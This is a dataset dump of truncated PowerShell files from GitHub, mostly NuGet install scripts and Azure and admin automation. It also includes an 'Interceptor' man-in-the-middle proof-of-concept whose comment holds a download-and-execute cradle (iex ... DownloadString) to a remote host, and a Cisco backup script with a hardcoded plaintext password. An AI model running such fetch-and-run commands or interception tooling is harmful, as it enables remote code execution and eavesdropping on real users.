full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/Seniore_PowerShell/SRM_NetworkMapping.ps1
SRM_NetworkMapping.ps1
########################## # SRM network mappings #Version: 0.3 #Author: github.com/Seniore #Description: # Script to create SRM Network Mapping using API call AddNetworkMapping # It creates the mapping for one or both sides (variable: CreateReverse) # If required it can also create missing port groups on the re...
PowerShellCorpus/Github/oaastestdf_TestRepo/rb.ps1
rb.ps1
workflow rb { write-output "organisation" }
PowerShellCorpus/Github/oaastestdf_TestRepo/runbooks/rb1.ps1
rb1.ps1
workflow rb1 { get-date; }
PowerShellCorpus/Github/wozwas_Powershell/SnaphsotRemoval.ps1
SnaphsotRemoval.ps1
Enter-PSSession localhost add-pssnapin VM* Connect-VIServer -Server localhost $VMlist = @("Calypso.callard.local", "Rancid", "Uranus.callard.local", "Titan.callard.local", "Cressida.callard.local") foreach ($objItem in $VMlist) { Get-VM $objItem | Get-Snapshot | Where-Object {$_.Name.Contains("Daily") -and $_.Cr...
PowerShellCorpus/Github/wozwas_Powershell/O365Logon.ps1
O365Logon.ps1
Import-Module MSOnline $365Logon = get-credential $365PSSession = New-PSSession –ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell -Credential $365Logon -Authentication Basic -AllowRedirection Import-PSSession $365PSSession -AllowClobber Set-ExecutionPolicy RemoteSigned Connect-...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/EntityFramework.6.1.1/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/EntityFramework.6.1.1/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/piyushps_AnjularJs/AnularJsApplication/AnjularCrud.Operation/packages/Newtonsoft.Json.6.0.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/EntityFramework.6.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIarwYJKoZIhvcNAQcCoIIaoDCCGpwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/EntityFramework.6.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/WebGrease.1.5.2/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) # Visual Studio execution done via NuGet Package Manager Function VSExecution($toolsPath, $project) { $project.DTE.ExecuteCommand("File.SaveAll", [system.string]::Empty) # Get the msbuild version of the project and add the import $msbuild = [Microsof...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/WebGrease.1.5.2/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # Return a relative path with reference to root as Uri object # $rootPath - root path # $relativePath - relative path # $appendToRelativePath - Optional parameter. If provided will be appended to relative Path using Path.Combine() Function GetRelativeUri($root...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $compilerPackageName = 'Microsoft.Net.Compilers' $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $libDirectory = Join-Path $installPath 'lib\net45' $packageDirectory = Split-Path $installPath $compilerPackage = Get-Chil...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory = Join-Path $projectRoot 'bin' $targetDirectory = Join-Path $binDirectory $roslynSubFolder if (Te...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/Newtonsoft.Json.6.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/System.Data.SQLite.EF6.1.0.103/tools/net45/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/System.Data.SQLite.EF6.1.0.103/tools/net451/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/System.Data.SQLite.EF6.1.0.103/tools/net46/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/kludwigs_CSharpProjects/UserClientMVCExercise/packages/System.Data.SQLite.EF6.1.0.103/tools/net40/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/kludwigs_CSharpProjects/Blog1/packages/EntityFramework.5.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' } if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 ))) { $thisModuleManifest = 'EntityFramework.PS3.psd1' } else { $thisModuleManifest = 'EntityFramework.psd1' } $thisModule...
PowerShellCorpus/Github/kludwigs_CSharpProjects/Blog1/packages/EntityFramework.5.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project) { $appDomain = [AppDomain]::CreateDomain( 'EntityFramework.PowerShell', $null, (New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' })) ...
PowerShellCorpus/Github/kludwigs_CSharpProjects/MyBlog/packages/EntityFramework.5.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' } if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 ))) { $thisModuleManifest = 'EntityFramework.PS3.psd1' } else { $thisModuleManifest = 'EntityFramework.psd1' } $thisModule...
PowerShellCorpus/Github/kludwigs_CSharpProjects/MyBlog/packages/EntityFramework.5.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project) { $appDomain = [AppDomain]::CreateDomain( 'EntityFramework.PowerShell', $null, (New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' })) ...
PowerShellCorpus/Github/kexuelou_WAWS-Scripts/ARM/CSM.ps1
CSM.ps1
Add-AzureAccount Select-AzureSubscription -SubscriptionId "xxxx" Switch-AzureMode AzureResourceManager #List all template in gallery Get-AzureResourceGroupGalleryTemplate #Using Filter Get-AzureResourceGroupGalleryTemplate | Where { $_.Identity -like "*Ubuntu*" } #List all template published by Microsoft ...
PowerShellCorpus/Github/kexuelou_WAWS-Scripts/NodeCrashDump/run.ps1
run.ps1
Function Invoke-RestAPI { param( [string]$User, [string]$Pwd, [string]$URL ) #Create a URI instance since the HttpWebRequest.Create Method will escape the URL by default. $URI = New-Object System.Uri($URL,$true) #Create a request object using the URI $request =...
PowerShellCorpus/Github/kexuelou_WAWS-Scripts/MigrationValidation/WebAppMigrationCheck.ps1
WebAppMigrationCheck.ps1
<# .SYNOPSIS Verify if webapps are ready for migration. .DESCRIPTION Before subscription migration, we need to make sure the webapps and hosting plan are in the same resource group. In other words: • The site “foo” is in resource group “Rg1” • The site is hosted in App Service Plan “bar...
PowerShellCorpus/Github/kexuelou_WAWS-Scripts/MonitorProcesses/run-easy.ps1
run-easy.ps1
$sitename = $env:WEBSITE_SITE_NAME $time = Get-date -Format "yyyyMMdd-HHmmss" $logFile = $env:HOME + "\LogFiles\" + $env:COMPUTERNAME + "-" + $sitename + "-" + $time + ".log" $content= "Time" + "`t" + "Start_Time" + "`t" + "ProcessName" + "`t" + "Id" + " " + "TotalProcessorTime" + "`t" + "UserProcessorTime" + "`...
PowerShellCorpus/Github/kexuelou_WAWS-Scripts/MonitorProcesses/run.ps1
run.ps1
Function Invoke-RestAPI { param( [string]$User, [string]$Pwd, [string]$URL ) #Create a URI instance since the HttpWebRequest.Create Method will escape the URL by default. $URI = New-Object System.Uri($URL,$true) #Create a request object using the URI $request =...
PowerShellCorpus/Github/utautattaro_vscode-insiders_config/touchcode.ps1
touchcode.ps1
New-Item -ItemType file $Args code-insiders $Args
PowerShellCorpus/Github/utautattaro_vscode-insiders_config/touch.ps1
touch.ps1
New-Item -ItemType file $Args
PowerShellCorpus/Github/utautattaro_vscode-insiders_config/profile.ps1
profile.ps1
$a = (Get-Host).UI.RawUI $a.WindowTitle = "三( `・ω・)\\|| Powershell////(・ω・´ )三" Write-Host " _人人人人人人人_" Write-Host " > PowerShell <" Write-Host "  ̄Y^Y^Y^Y^Y^Y^Y ̄" Write-Host "" Write-Host " Execution Policy:" (Get-Ex...
PowerShellCorpus/Github/bradygaster_ops-self-test/.openpublishing.build.ps1
.openpublishing.build.ps1
param( [string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1", [string]$parameters ) # Main $errorActionPreference = 'Stop' # Step-1: Download buildcore script to local echo "download build core script to local with source u...
PowerShellCorpus/Github/wswayze_VSTest/PublishScripts/Publish-WebApplicationVM.ps1
Publish-WebApplicationVM.ps1
#Requires -Version 3.0 <# .SYNOPSIS Creates and deploys a Windows Azure Virtual Machine for a Visual Studio web project. For more detailed documentation go to: http://go.microsoft.com/fwlink/?LinkID=394472 .EXAMPLE PS C:\> .\Publish-WebApplicationVM.ps1 ` -Configuration .\Configurations\WebApplication1-VM-d...
PowerShellCorpus/Github/AdrianBergsnev_PowerShell/AddDDandTarget_VSAN.ps1
AddDDandTarget_VSAN.ps1
Import-Module Starwindx $server = New-SWServer -host 127.0.0.1 -port 3261 -user root -password starwind $folder = "VSANwPowerShell" $path = "C:\$folder" $targetname = "testtarget" New-Item -Path C:\$folder -ItemType Directory try { #Connection $server.Connect() if ( $server.Connect...
PowerShellCorpus/Github/AdrianBergsnev_PowerShell/Install-ADDS_and_DCPROMO.ps1
Install-ADDS_and_DCPROMO.ps1
Import-Module ServerManager
PowerShellCorpus/Github/AdrianBergsnev_PowerShell/Automatisk backup Cisco.ps1
Automatisk backup Cisco.ps1
$usr = "admin" $passw = ConvertTo-SecureString –String "Password!" –AsPlainText -Force $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $usr, $passw #Automatisk legger til credentials i logon prompt $confpath = "C:\Users\Adrian\Desktop\configcisco\" $session = new...
PowerShellCorpus/Github/AdrianBergsnev_PowerShell/Multiple-DHCPscopes.ps1
Multiple-DHCPscopes.ps1
$DNSDomain="IKT-FAG.no" $DNSServers="172.18.0.2","172.18.0.3" $DHCPServerIP="172.18.0.10" $WDSServerIP="172.18.0.4" $Bootfilename="boot\x86\pxeboot.com" #VLAN Definitions: Name, Description, StartIP, EndIP, NetMask, Router, ScopeID (*.*.*.0) $vlan300 = @("Elevnett", "VLAN 300", "172.16.0.10", "172.16.0.150", "2...
PowerShellCorpus/Github/andyseubert_powershell-reorganizer-script/FileReorger.ps1
FileReorger.ps1
# we wants to reorganize all the photos into a folder structure like this # 2010 # |- 1-January # |- photo # |- photo # |- photo # |- 2-February # |- photo # |- photo # etc.,... #this will let us check exif data for "date taken" # http://archive.msdn.microsoft.com/PowerShellPack write-host ...
PowerShellCorpus/Github/infosecsmith_Interceptor/Interceptor-0.0.5.ps1
Interceptor-0.0.5.ps1
# Interceptor Proof of Concept # Created By Casey Smith # 05-28-2014 # 0.0.5 # Rewrite Sockets and Streams # Proof of Concept # TODO # # function createCertificate([string] $certSubject, [bool] $isCA) { $CAsubject = $certSubject $dn = new-object -com "X509Enrollment.CX500DistinguishedName" $dn.Encode( ...
PowerShellCorpus/Github/infosecsmith_Interceptor/Interceptor.0.0.10-Training.ps1
Interceptor.0.0.10-Training.ps1
# Interceptor Proof of Concept # Created By Casey Smith # 05-28-2014 # 0.0.5 # Rewrite Sockets and Streams # Proof of Concept # TODO # # iex (New-Object Net.WebClient).DownloadString(“http://10.0.22.91:8080/Interceptor.ps1”) # #This needs Work function setProxy() { #Set Proxy To Interceptor. } #Cl...
PowerShellCorpus/Github/fabferri_azure-repo/win-sys-counters/get-sys-counters.ps1
get-sys-counters.ps1
<# ####################################################### ### Description: ### Powershell script to capture the Windows system counters. ### the script is based on the powershell command Get-Counter ### ### Reference: ### http://sqlblog.com/blogs/aaron_bertrand/archive/2011/01/31/how-i-use-powershell-to-coll...
PowerShellCorpus/Github/fabferri_azure-repo/win-sys-counters/load-azure-table.ps1
load-azure-table.ps1
<################################################################################# # Reference: # https://msdn.microsoft.com/en-us/library/microsoft.windowsazure.storage.table.entityproperty.aspx # # # Child function: GetStorageContext() - get the storage context of Azure Storage account # Child function:...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/00_ScaleAllExisting.ps1
00_ScaleAllExisting.ps1
$instanceNumber= 49 $vmSize='Standard_DS14_v2' $location= 'northeurope' $azureSubscName='YOUR_AZURE_SUBSCRIPTION_NAME' ########################################################### ########################################################### $args01=@{ 'subscriptionName'=$azureSubscName; 'location'=$locati...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/GetScaleSetName_and_IP.ps1
GetScaleSetName_and_IP.ps1
################# Input parameters ################# ##### Get the hostname and IP address of VMs in Scale Set deployments # # $subscriptionName ="YOUR_AZURE_SUBSCRIPTION_NAME" $location ="northeurope" $ResourceGrpPrefix="RG-3" $scaleSetPrefix ="azurd14" $pathDesktop=[Environment]::GetFolderPath("Desktop") $pa...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/00_DeploAll.ps1
00_DeploAll.ps1
### ### $args01=@{ 'subscriptionName'='YOUR_AZURE_SUBSCRIPTION_NAME'; 'location'='northeurope'; 'VNetResourceGrp'='VNetsRG'; 'virtualNetworkName'='VNet01'; 'subnetName'='Subnet1'; 'vmssResourceGrp'='RG-301'; 'scaleSetName'='azurD1401'; 'scaleSetVMSize'='Standard_DS14_v2'; ...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/03_DeployVMSS.ps1
03_DeployVMSS.ps1
################# Input parameters ################# ##### the script spin up a single Azure Scale Set $subscriptionName ="YOUR_AZURE_SUBSCRIPTION_NAME" $location ="northeurope" $destResourceGrp="RGtest8804" $resourceGrpDeployment = "deployVMSSScale" $pathFiles=Split-Path -Parent $PSCommandPath ##############...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/04_ScaleExisting_args.ps1
04_ScaleExisting_args.ps1
############################### INPUT PARAMS ############################## # # Before running the script, set the params for your specific subscription and deployment! # ########################################################################### # # param( [Parameter(Mandatory=$true)] [string]$subscri...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/02_DeployFS_args.ps1
02_DeployFS_args.ps1
############################### INPUT PARAMS ############################## # # Before running the script, set the params for your specific subscription and deployment! # ########################################################################### # # param( [Parameter(Mandatory=$true)] [string]$subscri...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/03_DeployVMSS_args.ps1
03_DeployVMSS_args.ps1
############################### INPUT PARAMS ############################## # # Before running the script, set the params for your specific subscription and deployment! # ########################################################################### # # param( [Parameter(Mandatory=$true)] [string]$subscri...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/VNets.ps1
VNets.ps1
####### $subscription = "YOUR_AZURE_SUBSCRIPTION_NAME" $location = "North Europe" $rgVNet = "VNetsRG" # $vnetName = @("VNet1","VNet2","VNet3","VNet4","VNet5","VNet6","VNet7","VNet8","VNet9","VNet10","VNet11") $subnetName = "Subnet1" [string[]]$vnetAddr = @() [string[]]$subnetAddr = @() [string...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/02_DeployFS.ps1
02_DeployFS.ps1
################# Input parameters ################# ##### the script create a single file share in azure VM $subscriptionName ="YOUR_AZURE_SUBSCRIPTION_NAME" $location ="northeurope" $destResourceGrp="RGtest101" $resourceGrpDeployment = "FileServerDeployment" $pathFiles=Split-Path -Parent $PSCommandPath #####...
PowerShellCorpus/Github/fabferri_azure-repo/datasynapse-engines/04_ScaleExisting.ps1
04_ScaleExisting.ps1
################# Input parameters ################# ##### the script scale up or down the number of VMs in a single Scale Set $subscriptionName ="YOUR_AZURE_SUBSCRIPTION_NAME" $location ="northeurope" $destResourceGrp="RGtest101" $resourceGrpDeployment = "deployVMSSScale" $pathFiles=Split-Path -Parent $PSCommand...
PowerShellCorpus/Github/fabferri_azure-repo/101-vpn-cisco-csr-fqdn/azure-csr1000v.ps1
azure-csr1000v.ps1
################# Input parameters ################# $subscriptionName = "NAME_YOUR_AZURE_SUBSCRIPTION" $location = "northeurope" $destResourceGrp1 = "RG01-NVA" # Resource group name where will be deployed the first Cisco CSR 1000v $destResourceGrp2 = "RG02-NVA" # Resource group name where will be deplo...
PowerShellCorpus/Github/fabferri_azure-repo/201-vms-conditional-deployment/azure-deploy.ps1
azure-deploy.ps1
################# Input parameters ################# $subscriptionName ="AZURE_SUBSCRIPTION_NAME" $location = "northeurope" $destResourceGrp = "RG-multiVMs" $resourceGrpDeployment = "deployVMs" #################################################### $pathFiles = Split-Path -Parent $PSCommandPath $templat...
PowerShellCorpus/Github/fabferri_azure-repo/multiblobcopy/03_RemoveBlobContainersTargetStorageAccounts.ps1
03_RemoveBlobContainersTargetStorageAccounts.ps1
############################################# # # Remove blob containers in a list of Azure Storage accounts # # INPUT variables: # # $subscription : Azure subscription name # $rgGroup : Resource Group # $ContainerName: blob container name of target storage accounts # # ##### INPUT VARIABLES #######...
PowerShellCorpus/Github/fabferri_azure-repo/multiblobcopy/02_multiBlobCopy.ps1
02_multiBlobCopy.ps1
<# Description: the script use powershell jobs to copy the same .VHD from a source storage account to multiple destination storage accounts. Teh target storage accounts are defined in the same Resource Group. The powershell script use a cascade algorith to increase the efficiency of the copy operations. ...
PowerShellCorpus/Github/fabferri_azure-repo/multiblobcopy/01_deploy_StorageAccounts.ps1
01_deploy_StorageAccounts.ps1
# # powershell script to create via ARM template the list of target storage accounts. # ################# INPUT VARIABLES ################# $subscriptionName = "AZURE_SUBSCRITIONNAME_TARGET_STORAGE_ACCOUNT" $destResourceGrp = "RESOURCE_GROUP_TARGET_STORAGE_ACCOUNT" $resourceGrpDeployment = "NAME_RESOUR...
PowerShellCorpus/Github/fabferri_azure-repo/201-vm-cluster/deploy-vms.ps1
deploy-vms.ps1
############################### INPUT PARAMS ############################## # # Before running the script, set the params for your specific subscription and deployment! # $subscriptionName = "YOUR_AZURE_SUBSCRIPTION_NAME" # Name of your Azure Subscription $location = "North Europe" ...
PowerShellCorpus/Github/fabferri_azure-repo/101-vpn-2strongswan/azureSite.ps1
azureSite.ps1
################# Input parameters ################# # subscriptionName : name of subscription when you # $location1 : location of Azure datacenter for the first deployment # $location2 : location of Azure datacenter for the second deployment # $destResourceGrp1: Resource Group name for the deployment...
PowerShellCorpus/Github/fabferri_azure-repo/101-vpn-cisco-csr/azure-csr1000v.ps1
azure-csr1000v.ps1
################# Input parameters ################# # subscriptionName : name of subscription when you # $location1 : location of Azure datacenter for the first deployment # $location2 : location of Azure datacenter for the second deployment # $destResourceGrp1: Resource Group name for the deployment...
PowerShellCorpus/Github/fabferri_azure-repo/101-vpn-cisco-csr-static/02-azure-vms.ps1
02-azure-vms.ps1
################# Input parameters ################# $subscriptionName =""YOUR_AZURE_SUBSCRITION_NAME"" $location = "northeurope" $destResourceGrp = "RG-VMs" $resourceGrpDeployment = "deployVMs" $pathFiles=Split-Path -Parent $PSCommandPath #################################################### $templateFi...
PowerShellCorpus/Github/fabferri_azure-repo/101-vpn-cisco-csr-static/01-azure-csr1000v.ps1
01-azure-csr1000v.ps1
################# Input parameters ################# # subscriptionName : name of subscription when you # $location1 : location of Azure datacenter for the first deployment # $location2 : location of Azure datacenter for the second deployment # $destResourceGrp1: Resource Group name for the deployment...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/EntityFramework.6.1.3/tools/install.ps1
install.ps1
